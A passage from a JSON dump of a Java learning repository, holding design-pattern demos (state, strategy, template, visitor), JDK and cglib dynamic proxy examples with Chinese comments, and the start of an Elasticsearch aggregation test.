个。\n\t\t */\n\t}\n\n}\n\n\n\n//定义一个音乐状态\ninterface MusicState{\n\tvoid press();\n}\n\nclass PlayState implements MusicState{\n\n\t@Override\n\tpublic void press() {\n\t\tSystem.out.println(\"播放音乐!\");\n\t}\n}\n\nclass PauseState implements MusicState{\n\n\t@Override\n\tpublic void press() {\n\t\tSystem.out.println(\"暂停音乐!\");\n\t}\n}\n\n\n\n\n//定义一个耳机\nclass Headset{\n\tprivate MusicState state;\n\tprivate int i;\n\tpublic Headset(MusicState state){\n\t\tthis.state=state;\n\t}\n\tpublic void press() {\n\t\tif((i&1)==0) {\n\t\t\tthis.state=new PlayState();\n\t\t}else {\n\t\t\tthis.state=new PauseState();\n\t\t}\n\t\tthis.state.press();\n\t\ti++;\n\t}\n\tpublic MusicState getState() {\n\t\treturn state;\n\t}\n\tpublic void setState(MusicState state) {\n\t\tthis.state = state;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/state/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 状态模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.state;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/strategy/StrategyTest.java",
    "content": "package com.jun.plugin.design.strategy;\n\n/**\n * @Title: StrategyTest\n * @Description: 策略模式 在策略模式（CalculateStrategy Pattern）中，一个类的行为或其算法可以在运行时更改。\n *               这种类型的设计模式属于行为型模式。 在策略模式中，我们创建表示各种策略的对象和一个行为随着策略对象改变而改变的 context\n *               对象。 策略对象改变 context 对象的执行算法。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class StrategyTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 基本使用\n\t\t * \n\t\t 角色\n\t\t   1，环境角色(Context)：持有一个策略类的引用，提供给客户端使用。\n\t\n\t　　 \t   2，抽象策略角色(Strategy)：这是一个抽象角色，通常由一个接口或抽象类实现。此角色给出所有的具体策略类所需的接口。\n\t\n\t　　\t   3，具体策略角色(ConcreteStrategy)：包装了相关的算法或行为。\n\t\t * \n\t\t */\n\t\t\t\n\t\t  /*\n\t\t   * 计算加减乘除\n\t\t   */\n\t\t   int a=4,b=2;\n\t\t  CalculatorContext context = new CalculatorContext(new OperationAdd());    \n\t      System.out.println(\"a + b = \"+context.executeStrategy(a, b));\n\t \n\t      CalculatorContext context2 = new CalculatorContext(new OperationSub());      \n\t      System.out.println(\"a - b = \"+context2.executeStrategy(a, b));\n\t \n\t      CalculatorContext context3 = new CalculatorContext(new OperationMul());    \n\t      System.out.println(\"a * b = \"+context3.executeStrategy(a, b));\n\t\n\t      CalculatorContext context4 = new CalculatorContext(new OperationDiv());    \n\t      System.out.println(\"a / b = \"+context4.executeStrategy(a, b));\n\t\n\t      \n\t      /*\n\t        a + b = 6\n\t\t\ta - b = 2\n\t\t\ta * b = 8\n\t\t\ta / b = 2\n\t       */\n\t      \n\t      \n\t      /*\n\t       \t优点： 1、扩展性好，可以在不修改对象结构的情况下，为新的算法进行添加新的类进行实现；\n\t       \t \t 2、灵活性好，可以对算法进行自由切换；\n\t\n\t\t\t缺点： 1、使用策略类变多，会增加系统的复杂度。 \n\t\t\t\t 2、客户端必须知道所有的策略类才能进行调用\n\n\t\t\t使用场景： 1、如果在一个系统里面有许多类，它们之间的区别仅在于它们的行为，那么使用策略模式可以动态地让一个对象在许多行为中选择一种行为。 \n\t\t\t\t\t2、一个系统需要动态地在几种算法中选择一种。 \n\t\t\t\t\t3、如果一个对象有很多的行为，如果不用恰当的模式，这些行为就只好使用多重的条件选择语句来实现。\n\t       \n\t       */\n\t}\n}\n\n//定义一个策略\ninterface CalculateStrategy {\n\tint doOperation(int num1, int num2);\n}\n\n//定义一个加法 \nclass OperationAdd implements CalculateStrategy {\n\t@Override\n\tpublic int doOperation(int num1, int num2) {\n\t\treturn num1 + num2;\n\t}\n}\n\n//定义一个减法\nclass OperationSub implements CalculateStrategy {\n\t@Override\n\tpublic int doOperation(int num1, int num2) {\n\t\treturn num1 - num2;\n\t}\n}\n\n//定义一个乘法\nclass OperationMul implements CalculateStrategy {\n\t@Override\n\tpublic int doOperation(int num1, int num2) {\n\t\treturn num1 * num2;\n\t}\n}\n\n//定义一个除法\nclass OperationDiv implements CalculateStrategy {\n\t@Override\n\tpublic int doOperation(int num1, int num2) {\n\t\treturn num1 / num2;\n\t}\n}\n\n//定义一个环境\nclass  CalculatorContext {\n\tprivate CalculateStrategy strategy;\n\n\tpublic CalculatorContext(CalculateStrategy strategy) {\n\t\tthis.strategy = strategy;\n\t}\n\n\tpublic int executeStrategy(int num1, int num2) {\n\t\treturn strategy.doOperation(num1, num2);\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/strategy/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 策略模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.strategy;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/template/TemplateTest.java",
    "content": "package com.jun.plugin.design.template;\n\n/**\n * @Title: TemplateTest\n * @Description: 模板模式（Template Pattern）中，一个抽象类公开定义了执行它的方法的方式/模板。\n *               它的子类可以按需要重写方法实现，但调用将以抽象类中定义的方式进行。 这种类型的设计模式属于行为型模式。\n *               定义一个操作中的算法的骨架，而将一些步骤延迟到子类中。\n *               模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class TemplateTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 基本使用\n\t\t Java 中的 Servlet就是经典的模板模式的使用。HttpService类提供了一个service()方法，\n\t\t 这个方法调用七个do方法中的一个或几个，完成对客户端调用的响应。这些do方法需要由HttpServlet的具体子类提供\n\t\t \n\t\t \n\t\t  基本角色\n\t\t 　抽象模板(Abstract Template)角色有如下责任：\n\t\t　　1.定义了一个或多个抽象操作，以便让子类实现。这些抽象操作叫做基本操作，它们是一个顶级逻辑的组成步骤。\n\t\t　　2.定义并实现了一个模板方法。这个模板方法一般是一个具体方法，它给出了一个顶级逻辑的骨架，而逻辑的组成步骤在相应的抽象操作中，推迟到子类实现。顶级逻辑也有可能调用一些具体方法。\n\t\t　具体模板(Concrete Template)角色又如下责任：\n\t\t　　1.实现父类所定义的一个或多个抽象方法，它们是一个顶级逻辑的组成步骤。\n\t\t　    2.每一个抽象模板角色都可以有任意多个具体模板角色与之对应，而每一个具体模板角色都可以给出这些抽象方法（也就是顶级逻辑的组成步骤）的不同实现，从而使得顶级逻辑的实现各不相同。\n\t\t\t\t \n\t\t */\n\t\tGame game = new ContraGame();\n\t\tgame.play();\n\t\tSystem.out.println();\n\t\tgame = new TMNTGame();\n\t\tgame.play();\n\n\t\t/*\n\t\t * 优点： \n\t\t * 1、封装不变部分，扩展可变部分。 \n\t\t * 2、提取公共代码，便于维护。\n\t\t * 3、行为由父类控制，子类实现。\n\t\t * 缺点：每一个不同的实现都需要一个子类来实现，导致类的个数增加，使得系统更加庞大。 \n\t\t * 使用场景： \n\t\t * 1、有多个子类共有的方法，且逻辑相同。\n\t\t * 2、重要的、复杂的方法，可以考虑作为模板方法。\n\t\t *  注意事项：为防止恶意操作，一般模板方法都加上 final 关键词。\n\t\t * \n\t\t */\n\n\t}\n\n}\n\n\n\n//定义一个玩游戏的步骤\nabstract class  Game{\n\t\n\t//启动游戏\n\tprotected abstract void  runGame();\n\t//选择人物\n\tprotected  void choosePerson() {};\n\t//开始玩游戏\n\tprotected abstract void startPlayGame();\n\t//结束游戏\n\tprotected abstract void endPlayGame();\n\t\n\t//模板方法\n\tpublic final void play() {\n\t\trunGame();\n\t\tchoosePerson();\n\t\tstartPlayGame();\n\t\tendPlayGame();\n\t}\n\t\n}\n\n//魂斗罗游戏\nclass ContraGame extends Game{\n\n\t@Override\n\tprotected void runGame() {\n\t\tSystem.out.println(\"启动魂斗罗II...\");\n\t}\n\n\t@Override\n\tprotected void startPlayGame() {\n\t\tSystem.out.println(\"1P正在使用S弹打aircraft...\");\n\t}\n\n\t@Override\n\tprotected void endPlayGame() {\n\t\tSystem.out.println(\"1P被流弹打死了，游戏结束！\");\n\t}\n}\n\n//忍者神龟游戏\nclass TMNTGame extends Game{\n\n\t@Override\n\tprotected void runGame() {\n\t\tSystem.out.println(\"启动忍者神龟III...\");\n\t}\n\n\t@Override\n\tprotected void choosePerson() {\n\t\tSystem.out.println(\"1P选择了Raph ！\");\n\t}\n\n\t@Override\n\tprotected void startPlayGame() {\n\t\tSystem.out.println(\"Raph正在使用绝技 “火箭头槌” \");\n\t}\n\n\t@Override\n\tprotected void endPlayGame() {\n\t\tSystem.out.println(\"Raph 掉进井盖里死了，游戏结束了！ \");\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/template/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 模板模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.template;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/visitor/VisitorTest.java",
    "content": "package com.jun.plugin.design.visitor;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @Title: VisitorTest\n * @Description: 访问者模式\n *               访问者模式（VisitorPattern）是对象的行为模式。访问者模式的目的是封装一些施加于某种数据结构元素之上的操作。一旦这些操作需要修改的话，接受这个操作的数据结构则可以保持不变。\n *               核心:主要将数据结构与数据操作分离。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class VisitorTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 基本角色: 1 抽象访问者(Visitor)角色：声明了一个或者多个方法操作，形成所有的具体访问者角色必须实现的接口。\n\t\t * \n\t\t * 2 具体访问者(ConcreteVisitor)角色：实现抽象访问者所声明的接口，也就是抽象访问者所声明的各个访问操作。\n\t\t * \n\t\t * 3 抽象节点(Node)角色：声明一个接受操作，接受一个访问者对象作为一个参数。\n\t\t * \n\t\t * 4 具体节点(ConcreteNode)角色：实现了抽象节点所规定的接受操作。\n\t\t * \n\t\t * 5 结构对象(ObjectStructure)角色：有如下的责任，可以遍历结构中的所有元素；如果需要，提供一个高层次的接口让访问者对象可以访问每一个元素；\n\t\t \n\t\t * \n\t\t */\n\n\t\t// 创建一个结构对象\n\t\tObjectStructure os = new ObjectStructure();\n\t\t// 给结构增加一个节点\n\t\tos.add(new Games());\n\t\t// 给结构增加一个节点\n\t\tos.add(new Photos());\n\t\t// 创建一个访问者\n\t\tVisitor visitor = new ZhangSan();\n\t\tos.action(visitor);\n\n\t\t/*\n\t\t * 优点： 1、扩展性好，可以在不修改对象结构中的元素的情况下，为对象结构中的元素添加新的功能。\n\t\t * 2、符合单一职责原则，通过访问者将无关的行为分离，使职责单一。\n\t\t * \n\t\t * 缺点： 1、违反了迪米特原则，因为具体元素对访问者公布细节。 2、违反了依赖倒置原则，依赖了具体类，没有依赖抽象。\n\t\t * 3、对象结构变化困难，若对象结构发生了改变，访问者的接口和访问者的实现也都要发生相应的改变。\n\t\t * \n\t\t * \n\t\t * 使用场景： 1、对象结构中对象对应的类很少改变，但经常需要在此对象结构上定义新的操作。\n\t\t * 2、需要对一个对象结构中的对象进行很多不同的并且不相关的操作，而需要避免让这些操作\"污染\"这些对象的类，也不希望在增加新操作时修改这些类。\n\t\t * 注意事项：访问者可以对功能进行统一，可以做报表、UI、拦截器与过滤器。\n\t\t * \n\t\t */\n\t}\n\n}\n\n/*\n * 定义一个抽象的角色(游客)\n */\ninterface Visitor {\n\t// 可以玩游戏\n\tvoid visit(Games games);\n\n\t// 可以查看图片\n\tvoid visit(Photos photos);\n}\n\nclass ZhangSan implements Visitor {\n\t@Override\n\tpublic void visit(Games games) {\n\t\tgames.play();\n\t}\n\n\t@Override\n\tpublic void visit(Photos photos) {\n\t\tphotos.watch();\n\t}\n}\n\n/*\n * \n */\nclass LiSi implements Visitor {\n\t@Override\n\tpublic void visit(Games games) {\n\t\tgames.play();\n\t}\n\n\t@Override\n\tpublic void visit(Photos photos) {\n\t\tphotos.watch();\n\t}\n}\n\n/*\n * 定义个接受者\n */\ninterface Computer {\n\tvoid accept(Visitor visitor);\n}\n\nclass Games implements Computer {\n\t@Override\n\tpublic void accept(Visitor visitor) {\n\t\tvisitor.visit(this);\n\t}\n\n\tpublic void play() {\n\t\tSystem.out.println(\"play lol\");\n\t}\n}\n\nclass Photos implements Computer {\n\t@Override\n\tpublic void accept(Visitor visitor) {\n\t\tvisitor.visit(this);\n\t}\n\n\tpublic void watch() {\n\t\tSystem.out.println(\"watch scenery photo\");\n\t}\n}\n\n/*\n * 结构对象角色\n */\nclass ObjectStructure {\n\n\tprivate List<Computer> computers = new ArrayList<Computer>();\n\n\t/**\n\t * 执行方法操作\n\t */\n\tpublic void action(Visitor visitor) {\n\t\tcomputers.forEach(c -> {\n\t\t\tc.accept(visitor);\n\t\t});\n\n\t}\n\n\t/**\n\t * 添加一个新元素\n\t */\n\tpublic void add(Computer computer) {\n\t\tcomputers.add(computer);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/visitor/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 访问者模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.visitor;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/app/MainTest.java",
    "content": "package com.jun.plugin.dynamicProxy.app;\n\nimport java.lang.reflect.Proxy;\n\nimport com.jun.plugin.dynamicProxy.bean.LogHandler;\nimport com.jun.plugin.dynamicProxy.bean.LogInterceptor;\nimport com.jun.plugin.dynamicProxy.bean.Manager;\nimport com.jun.plugin.dynamicProxy.bean.Student;\nimport com.jun.plugin.dynamicProxy.bean.SubStudent;\nimport com.jun.plugin.dynamicProxy.bean.SumTeacher;\nimport com.jun.plugin.dynamicProxy.bean.Teacher;\nimport com.jun.plugin.dynamicProxy.preson.Preson;\nimport com.jun.plugin.dynamicProxy.proxy.CglibProxy;\nimport com.jun.plugin.dynamicProxy.proxy.JdkProxy;\n\nimport net.sf.cglib.proxy.Enhancer;\n\npublic class MainTest {\n\t\n\tpublic static void main(String[] args) {\n\t\t//静态代理\n\t\tPreson p = new Student();\n\t\tPreson p1 = new SubStudent();\n\t\tPreson p2 = new Teacher();\n\t\tPreson p3 = new SumTeacher(new Teacher());\n\t\tPreson p4 = new SumTeacher(new Student());\n\t\t\n\t\tp.goToSchool();\n\t\tp1.goToSchool();\n\t\tp2.goToSchool();\n\t\tp3.goToSchool();\n\t\tp4.goToSchool();\n\t\t\n\t\tSystem.out.println(\"===========jdk动态代理============\");\n\t\t//jdk实现\n\t\tStudent s = new Student();\n\t\tLogHandler logHandler = new LogHandler(s);\n\t\tClass<?> sc = s.getClass();\n\t\tPreson proxyStudent = (Preson) Proxy.newProxyInstance(sc.getClassLoader(),sc.getInterfaces(), logHandler);\n\t\tproxyStudent.goToSchool();\n\t\t//实现方法2\n\t\tPreson stu = (Preson) new JdkProxy().getInstance(new Student());\n\t\tstu.goToSchool();\n\t\t\n\t\tSystem.out.println(\"===========cglib动态代理============\");\n\t\t\n\t\t//cglib实现动态代理，需提前导入cglib jar包\n\t\t//Enhancer是CGLib的字节码增强器，可以方便的对类进行扩展，内部调用GeneratorStrategy.generate方法生成代理类的字节码，通过以下方式可以生成class文件。\n\t\tEnhancer enhancer = new Enhancer();\n\t\t//继承代理类\n\t\tenhancer.setSuperclass(Manager.class);\n\t\tenhancer.setCallback(new LogInterceptor());\n\t\t//通过字节码技术动态创建子类实例  \n\t\tManager m = (Manager) enhancer.create();\n\t\tm.goToSchool();\n\t\t//实现方法2\n\t\tManager instance = (Manager) new CglibProxy().getInstance(new Manager());\n\t\tinstance.goToSchool();\n\t\t\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/app/MainTest2.java",
    "content": "package com.jun.plugin.dynamicProxy.app;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\n\nimport com.jun.plugin.dynamicProxy.bean.Student;\nimport com.jun.plugin.dynamicProxy.preson.Preson;\n\npublic class MainTest2 {\n\t\n\tpublic static void main(String[] args) {\n\t\t\n\t\tStudent student = new Student(\"老王\");\n\t\tstudent.eat();\n\t\tPreson studentProxy = (Preson) Proxy.newProxyInstance(MainTest2.class.getClassLoader(),\n\t\t\t\tstudent.getClass().getInterfaces(), new InvocationHandler() {\n\t\t\t\n\t\t\t@Override\n\t\t\tpublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n\t\t\t\tSystem.out.println(\"访问方法前，记录日志\");\n\t\t\t\tObject invoke = method.invoke(student, args);\n\t\t\t\tSystem.out.println(\"访问方法后，记录日志\");\n\t\t\t\treturn invoke;\n\t\t\t}\n\t\t});\n\t\tstudentProxy.eat();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/LogHandler.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\n\npublic class LogHandler implements InvocationHandler {\n\n\tprivate Object target;\n\n\tpublic LogHandler(Object target) {\n\t\tsuper();\n\t\tthis.target = target;\n\t}\n\n\t@Override\n\tpublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n\t\tSystem.out.println(\"访问方法前\");\n\t\tObject invoke = method.invoke(target, args);\n\t\tSystem.out.println(\"访问方法后\");\n\t\t\n\t\treturn invoke;\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/LogInterceptor.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\nimport java.lang.reflect.Method;\n\nimport net.sf.cglib.proxy.MethodInterceptor;\nimport net.sf.cglib.proxy.MethodProxy;\n\npublic class LogInterceptor implements MethodInterceptor {\n\t\n\t@Override\n\tpublic Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable {\n\t\tSystem.out.println(\"方法执行前\");\n\t\tObject invokeSuper = methodProxy.invokeSuper(o, objects);\n\t\tSystem.out.println(\"方法执行后\");\n\t\treturn invokeSuper;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/Manager.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\n\npublic class Manager {\n\tpublic void goToSchool() {\n\t\t\n\t\tSystem.out.println(\"我是现在，住在学校\");\n\t\t\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/Student.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\nimport com.jun.plugin.dynamicProxy.preson.Preson;\n\npublic class Student implements Preson {\n\tprivate String name;\n\tpublic Student() {\n\t\tsuper();\n\t\t// TODO Auto-generated constructor stub\n\t}\n\t\n\n\tpublic Student(String name) {\n\t\tsuper();\n\t\tthis.name = name;\n\t}\n\n\n\t@Override\n\tpublic void goToSchool() {\n\t\t\n\t\tSystem.out.println(\"坐车去学校\");\n\t\t\n\t}\n\n\t@Override\n\tpublic void eat() {\n\t\t\n\t\tSystem.out.println(name+\"我吃大饭堂，好难吃！\");\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/SubStudent.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\npublic class SubStudent extends Student {\n\n\t@Override\n\tpublic void goToSchool() {\n\t\tSystem.out.println(\"等公交\");\n\t\tsuper.goToSchool();\n\t\tSystem.out.println(\"坐公交好辛苦！\");\n\t}\n\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/SumTeacher.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\nimport com.jun.plugin.dynamicProxy.preson.Preson;\n\npublic class SumTeacher implements Preson {\n\tprivate Preson teacher;\n\n\tpublic SumTeacher(Preson teacher) {\n\t\tsuper();\n\t\tthis.teacher = teacher;\n\t}\n\n\n\n\n\t@Override\n\tpublic void eat() {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\n\n\t@Override\n\tpublic void goToSchool() {\n\t\t\tSystem.out.println(\"下楼就开车\");\n\t\t\tteacher.goToSchool();\n\t\t\tSystem.out.println(\"开车去学校真爽！\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/bean/Teacher.java",
    "content": "package com.jun.plugin.dynamicProxy.bean;\n\nimport com.jun.plugin.dynamicProxy.preson.Preson;\n\npublic class Teacher implements Preson {\n\n\t@Override\n\tpublic void goToSchool() {\n\t\t\n\t\tSystem.out.println(\"开车去学校\");\n\t\t\n\t}\n\n\t@Override\n\tpublic void eat() {\n\n\t\tSystem.out.println(\"我吃小堂，味道还不错哦\");\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/preson/Preson.java",
    "content": "package com.jun.plugin.dynamicProxy.preson;\n\npublic interface Preson {\n\tpublic void goToSchool();\n\tpublic void eat();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/proxy/CglibProxy.java",
    "content": "package com.jun.plugin.dynamicProxy.proxy;\n\nimport java.lang.reflect.Method;\n\nimport net.sf.cglib.proxy.Enhancer;\nimport net.sf.cglib.proxy.MethodInterceptor;\nimport net.sf.cglib.proxy.MethodProxy;\n\npublic class CglibProxy implements MethodInterceptor {\n\t\n\t\n\tpublic Object getInstance(Object target) {\n\t\tEnhancer enhancer = new Enhancer();\n\t\tenhancer.setSuperclass(target.getClass());\n\t\tenhancer.setCallback(this);\n\t\t//通过字节码技术动态创建子类实例  \n\t\treturn enhancer.create();\n\t}\n\n\t@Override\n\tpublic Object intercept(Object o, Method method, Object[] objects, MethodProxy methodProxy) throws Throwable {\n\t\tSystem.out.println(\"方法执行前\");\n\t\tSystem.out.println(method);\n\t\tObject invokeSuper = methodProxy.invokeSuper(o, objects);\n\t\tSystem.out.println(\"方法执行后\");\n\t\treturn invokeSuper;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/dynamicProxy/proxy/JdkProxy.java",
    "content": "package com.jun.plugin.dynamicProxy.proxy;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\n\npublic class JdkProxy implements InvocationHandler {\n\n\tprivate Object target;\n\n\tpublic Object getInstance(Object target) {\n\t\tthis.target = target;\n\t\treturn Proxy.newProxyInstance(target.getClass().getClassLoader(), target.getClass().getInterfaces(), this);\n\t}\n\n\t@Override\n\tpublic Object  invoke(Object proxy, Method method, Object[] args) throws Throwable {\n\t\tSystem.out.println(\"这是开始前\");\n\t\tObject invoke = method.invoke(target, args);\n\t\tSystem.out.println(\"这是执行后\");\n\t\treturn invoke;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/EsAggregationSearchTest.java",
    "content": "package com.jun.plugin.elasticsearch;\n\nimport org.apache.http.HttpHost;\nimport org.elasticsearch.action.admin.indices.alias.Alias;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexRequest;\nimport org.elasticsearch.action.admin.indices.create.CreateIndexResponse;\nimport org.elasticsearch.action.admin.indices.get.GetIndexRequest;\nimport org.elasticsearch.action.bulk.BulkRequest;\nimport org.elasticsearch.action.search.SearchRequest;\nimport org.elasticsearch.action.search.SearchResponse;\nimport org.elasticsearch.action.update.UpdateRequest;\nimport org.elasticsearch.client.RequestOptions;\nimport org.elasticsearch.client.RestClient;\nimport org.elasticsearch.client.RestClientBuilder;\nimport org.elasticsearch.client.RestHighLevelClient;\nimport org.elasticsearch.common.xcontent.XContentType;\nimport org.elasticsearch.rest.RestStatus;\nimport org.elasticsearch.search.aggregations.Aggregation;\nimport org.elasticsearch.search.aggregations.AggregationBuilder;\nimport org.elasticsearch.search.aggregations.AggregationBuilders;\nimport org.elasticsearch.search.aggregations.Aggregations;\nimport org.elasticsearch.search.aggregations.bucket.histogram.DateHistogramInterval;\nimport org.elasticsearch.search.aggregations.bucket.terms.Terms;\nimport org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder;\nimport org.elasticsearch.search.aggregations.metrics.avg.Avg;\nimport org.elasticsearch.search.aggregations.metrics.max.Max;\nimport org.elasticsearch.search.aggregations.metrics.min.Min;\nimport org.elasticsearch.search.aggregations.metrics.sum.Sum;\nimport org.elasticsearch.search.aggregations.metrics.tophits.TopHits;\nimport org.elasticsearch.search.builder.SearchSourceBuilder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.BeanUtils;\n\nimport java.io.IOException;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author pancm\n * @Title: pancm_project\n * @Description:ES聚合查询测试用例\n * @Version:1.0.0\n * @Since:jdk1.8\n * @date 2019/4/2\n */\npublic class EsAggregationSearchTest {\n\n\n\n    private static String elasticIp = \"192.169.0.23\";\n    private static int elasticPort = 9200;\n    private static Logger logger = LoggerFactory.getLogger(EsHighLevelRestSearchTest.class);\n\n    private static RestHighLevelClient client = null;\n\n    /**\n     * @param args\n     */\n    public static void main(String[] args) {\n\n        try {\n            init();\n            createIndex();\n            bulk();\n            groupbySearch();\n            avgSearch();\n            maxSearch();\n            sumSearch();\n            avgGroupSearch();\n            maxGroupSearch();\n            sumGroupSearch();\n            topSearch();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }finally {\n            close();\n        }\n\n    }\n\n\n    /*\n     * 初始化服务\n     */\n    private static void init() {\n        RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(elasticIp, elasticPort));\n        client = new RestHighLevelClient(restClientBuilder);\n    }\n\n    /*\n     * 关闭服务\n     */\n    private static void close() {\n        if (client != null) {\n            try {\n                client.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }finally{\n                client=null;\n            }\n        }\n    }\n\n    /**\n     * 创建索引\n     *\n     * @throws IOException\n     */\n    private static void createIndex() throws IOException {\n\n        // 类型\n        String type = \"_doc\";\n        String index = \"student\";\n        // setting 的值\n        Map<String, Object> setmapping = new HashMap<>();\n        // 分区数、副本数、缓存刷新时间\n        setmapping.put(\"number_of_shards\", 10);\n        setmapping.put(\"number_of_replicas\", 1);\n        setmapping.put(\"refresh_interval\", \"5s\");\n        Map<String, Object> keyword = new HashMap<>();\n        //设置类型\n        keyword.put(\"type\", \"keyword\");\n        Map<String, Object> lon = new HashMap<>();\n        //设置类型\n        lon.put(\"type\", \"long\");\n        Map<String, Object> date = new HashMap<>();\n        //设置类型\n        date.put(\"type\", \"date\");\n        date.put(\"format\", \"yyyy-MM-dd\");\n\n        Map<String, Object> date2 = new HashMap<>();\n        //设置类型\n        date2.put(\"type\", \"date\");\n        date2.put(\"format\", \"yyyy-MM-dd HH:mm:ss.SSS\");\n        Map<String, Object> jsonMap2 = new HashMap<>();\n        Map<String, Object> properties = new HashMap<>();\n        //设置字段message信息\n        properties.put(\"uid\", lon);\n        properties.put(\"grade\", lon);\n        properties.put(\"class\", lon);\n        properties.put(\"age\", lon);\n        properties.put(\"name\", keyword);\n        properties.put(\"createtm\", date);\n        properties.put(\"updatetm\", date2);\n        Map<String, Object> mapping = new HashMap<>();\n        mapping.put(\"properties\", properties);\n        jsonMap2.put(type, mapping);\n\n        GetIndexRequest getRequest = new GetIndexRequest();\n        getRequest.indices(index);\n        getRequest.types(type);\n        getRequest.local(false);\n        getRequest.humanReadable(true);\n        boolean exists2 = client.indices().exists(getRequest, RequestOptions.DEFAULT);\n        //如果存在就不创建了\n        if(exists2) {\n            System.out.println(index+\"索引库已经存在!\");\n            return;\n        }\n        // 开始创建库\n        CreateIndexRequest request = new CreateIndexRequest(index);\n        try {\n            // 加载数据类型\n            request.settings(setmapping);\n            //设置mapping参数\n            request.mapping(type, jsonMap2);\n            //设置别名\n            request.alias(new Alias(\"pancm_alias\"));\n            CreateIndexResponse createIndexResponse = client.indices().create(request, RequestOptions.DEFAULT);\n            boolean falg = createIndexResponse.isAcknowledged();\n            if(falg){\n                System.out.println(\"创建索引库:\"+index+\"成功！\" );\n            }\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n\n    }\n\n\n\n    /**\n     * 批量操作示例\n     *\n     * @throws InterruptedException\n     */\n    private static void bulk() throws IOException{\n        // 类型\n        String type = \"_doc\";\n        String index = \"student\";\n\n        BulkRequest request = new BulkRequest();\n        int k =10;\n        List<Map<String,Object>> mapList = new ArrayList<>();\n        LocalDateTime ldt = LocalDateTime.now();\n        for (int i = 1; i <=k ; i++) {\n            Map<String,Object> map = new HashMap<>();\n            map.put(\"uid\",i);\n            